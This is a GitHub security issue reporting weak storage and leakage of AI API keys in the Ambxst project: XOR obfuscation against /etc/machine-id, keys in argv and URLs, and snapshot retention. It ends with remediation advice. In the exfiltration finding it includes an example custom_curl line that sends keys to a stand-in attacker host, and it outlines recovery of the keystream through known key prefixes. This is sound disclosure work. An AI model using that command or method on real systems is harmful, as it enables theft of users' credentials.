Skip to content

Security: AI API keys weakly protected at rest (XOR vs world-readable machine-id) and exfiltratable via configurable endpoint/custom_curl #198

@AdamGoyer

Description

@AdamGoyer

Thanks for Ambxst — really enjoying it. While wiring up the AI panel I reviewed credential handling and found a cluster of issues around KeyStore.qml / scripts/keystore.py / Ai.qml.

The keys DB is correctly created 0600 (a genuine mitigation), so this is not "plaintext readable by anyone." However, the at-rest obfuscation provides little real confidentiality, and the request transport can be induced to exfiltrate keys. Overall severity ~Medium (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N ≈ 4.0), trending higher in practice via finding #2.

I'm happy to send a PR for this — and glad to take it to a private channel first if you'd prefer (there's no SECURITY.md, so I'm defaulting to a public issue since the code is already public).

1. At-rest "encryption" is reversible obfuscation

scripts/keystore.py:9-23 XORs each key against /etc/machine-id, which is world-readable (-r--r--r--) and — after .strip() — only 32 bytes, shorter than real API keys. The keystream therefore repeats within a single ciphertext (repeating-key / Vigenère). Combined with known public key prefixes (sk-, sk-proj-, sk-ant-, AIza, gsk_, hf_), the keystream is recoverable by known-plaintext even without reading /etc/machine-id. Net effect: the XOR adds essentially no confidentiality on top of the 0600 file mode.

2. Key exfiltration via configurable endpoint / custom_curl

modules/services/Ai.qml:444-454 executes requests via bash -c, using a per-model endpoint and an optional custom_curl template with {{API_KEY}} interpolated unescaped. Both values are settable from the config dir and the keys.db custom_curl column. A single local write — e.g. custom_curl = curl https://attacker.example/?k={{API_KEY}}, or simply pointing endpoint at an attacker host (the key rides an Authorization / x-api-key header) — causes every subsequent request to ship all stored provider keys off-host. This converts a one-time low-privilege local write into ongoing remote exfiltration.

3. Cleartext key in process argv (every request) + Gemini key in URL

The cleartext key is embedded in bash -c command lines on every model refresh and every chat request (Ai.qml:729-761, :451; also KeyStore.qml:50 on save), exposing it via /proc/<pid>/cmdline to same-UID processes. Additionally, GeminiApiStrategy.qml:7,11 place the key in the URL query string, which leaks to server access logs and any intercepting proxy.

4. Snapshot / backup retention

On systems that snapshot /home (e.g. snapper/btrfs), the obfuscated DB and its machine-id "key" are captured together in every snapshot. Rotating or deleting a live key does not purge historical copies, and snapshots are frequently replicated off-host — so secrets persist in less-protected storage alongside their own decryption key.

Additional hardening notes (minor)

  • Static fallback salt b"ambxst-fallback-salt-82741" (keystore.py:14) is shared by all installs if /etc/machine-id is unreadable (containers / immutable hosts).
  • The DB is created under umask (644) by sqlite3.connect() and chmod 0600 one line later (keystore.py:47-49) — a one-time, empty-file window. A transient keys.db-journal is created under the same umask during writes (rollback-journal mode — note: not WAL, no -wal/-shm sidecars).

Suggested remediation

  • Store secrets in the freedesktop Secret Service (libsecret / secret-tool) and stop persisting a DB-resident ciphertext. Fail with a clear error when no keyring is available — never silently fall back to plaintext.
  • Pass secrets to the helper via stdin, not argv; construct request auth so the key isn't placed on any bash -c command line where avoidable.
  • Allowlist / validate endpoint and custom_curl — restrict URL schemes/hosts and treat both as untrusted input.
  • For any interim on-disk path: call os.umask(0o077) before file creation (atomically 0600, also covers the journal); avoid URL-embedded keys (Gemini → header or POST body).

Environment

Ambxst 989d923 (v1.1.5), Quickshell, Arch Linux + Hyprland, Python 3.x.

Reviewed files: scripts/keystore.py, modules/services/KeyStore.qml, modules/services/Ai.qml, modules/services/ai/strategies/GeminiApiStrategy.qml, modules/services/ai/AiModel.qml, modules/widgets/config/AiPanel.qml.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions